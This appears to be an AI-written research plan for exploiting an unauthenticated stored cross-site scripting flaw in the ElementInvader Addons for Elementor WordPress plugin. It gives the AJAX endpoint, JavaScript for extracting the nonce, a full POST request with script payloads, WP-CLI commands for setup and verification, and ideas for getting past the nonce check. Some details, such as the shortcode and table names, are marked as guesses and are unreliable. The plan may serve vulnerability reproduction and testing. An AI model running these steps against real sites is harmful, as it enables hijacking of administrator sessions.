ElementInvader Addons for Elementor <= 1.4.3 - Unauthenticated Stored Cross-Site Scripting

This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the ElementInvader Addons for Elementor plugin.

1. Vulnerability Summary

The ElementInvader Addons for Elementor plugin (up to version 1.4.3) fails to sanitize and escape user-provided input in its form submission features (Contact Form and Newsletter). Specifically, unauthenticated users can submit data containing malicious JavaScript through the plugin's AJAX handlers. This data is stored in the WordPress database and subsequently executed in the browser of an administrative user when they view the submissions or "maillist" in the WordPress backend.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• AJAX Action: elementinvader_addons_for_elementor_forms_send_form (identified from assets/js/main.js)
• Vulnerable Parameters: Any form field serialized and sent to the handler, typically name, email, message, or custom field inputs.
• Authentication: None (Unauthenticated). The handler is registered via wp_ajax_nopriv_.
• Preconditions:
  1. The "Simple Contact Form" or "Simple Newsletter" widget must be present on a public-facing page or post.
  2. An administrator must eventually view the stored submissions in the WordPress dashboard.

3. Code Flow

1. Entry Point: The plugin registers an AJAX handler for unauthenticated users in PHP (inferred):
   add_action('wp_ajax_nopriv_elementinvader_addons_for_elementor_forms_send_form', '...');
2. Frontend Capture: In assets/js/main.js, the plugin attaches a submit listener to forms with the class .elementinvader_addons_for_elementor_f.
3. Data Transmission: The JS gathers all form inputs via this_form.serializeArray(), appends the action elementinvader_addons_for_elementor_forms_send_form, and sends a POST request to the URL stored in the .config element's data-url attribute (usually admin-ajax.php).
4. Backend Processing (Sink): The PHP handler receives the raw POST data and saves it to the database (likely a custom table or as a post_type) without using sanitize_text_field() or wp_kses().
5. Rendering (Execution): When an admin accesses the "Submissions" or "Newsletter" list in the WP-Admin, the plugin fetches the raw data and echoes it directly into the HTML table/view without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

According to the README.txt (version 1.4.0), the plugin added "Form Poc Protect with Token". This suggests a nonce or token is required for the AJAX request.

1. Identify Widget Location: Scan the site for a page containing the class elementinvader_contact_form or elementinvader_newsletter.
2. Navigate to Page: Use the browser_navigate tool to open the page.
3. Extract Token: The token is likely a hidden input field within the form, as main.js uses serializeArray(). Use browser_eval to extract it:

   // Look for common nonce/token field names used by this plugin
   browser_eval(`
       document.querySelector('form.elementinvader_addons_for_elementor_f input[name="_wpnonce"]')?.value || 
       document.querySelector('form.elementinvader_addons_for_elementor_f input[name="nonce"]')?.value ||
       document.querySelector('form.elementinvader_addons_for_elementor_f input[name="token"]')?.value
   `)
   

4. AJAX URL: Extract the AJAX URL from the widget's config:

   browser_eval(`document.querySelector('.elementinvader_addons_for_elementor_f .config').getAttribute('data-url')`)
   

5. Exploitation Strategy

Step 1: Discover/Create Target Page
If no form exists, create a page with the contact form widget.

• Command: wp post create --post_type=page --post_title="Contact" --post_status=publish --post_content='[elementinvader_contact_form]' (Note: [elementinvader_contact_form] is an inferred shortcode based on the widget name; if it fails, manually place the widget via Elementor).

Step 2: Obtain Nonce
Navigate to the page and extract the nonce using the strategy in Section 4.

Step 3: Submit Malicious Payload
Send the exploit payload via http_request.

• Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: elementinvader_addons_for_elementor_forms_send_form
  • _wpnonce: [EXTRACTED_NONCE]
  • name: Attacker
  • email: test@example.com
  • message: <script>alert(document.domain)</script><img src=x onerror=alert(1)>
  • element_id: 1 (usually required by Elementor widgets)

Step 4: Trigger Execution
Log in as an Administrator and navigate to the plugin's submission management page (typically found under a menu item like "ElementInvader" or "Forms").

6. Test Data Setup

1. Environment: WordPress with Elementor and ElementInvader Addons (<= 1.4.3) active.
2. Widget Placement: Ensure at least one "Simple Contact Form" is active on a public page.
3. User: An unauthenticated visitor session.

7. Expected Results

• The AJAX request should return a JSON response with {"success": true}.
• Upon visiting the backend submission list, a browser alert should trigger showing the site's domain, confirming the script executed in the admin's session.

8. Verification Steps (Post-Exploit)

Confirm the payload is stored in the database:

• Command: wp db query "SELECT * FROM wp_posts WHERE post_content LIKE '%<script>alert%';" (Or check the specific table if identified, e.g., wp_eli_forms).
• Command: wp option get elementinvader_addons_for_elementor_settings (Check if any global logs/settings contain the payload).

9. Alternative Approaches

• Newsletter Vector: If the Contact Form fails, target the Newsletter widget. The action name is likely elementinvader_addons_for_elementor_newsletter_send_form.
• Search Form Vector: Target the "Blog Search" widget. If the plugin logs search queries for the admin to see "Top Searches," inject the payload into the search query parameter.
• Bypass Nonce: If the nonce is strictly checked, verify if the wp_ajax_nopriv_ handler uses check_ajax_referer with the die argument set to false, or if it fails to check the return value of wp_verify_nonce. If it does, the request can be sent without a valid nonce.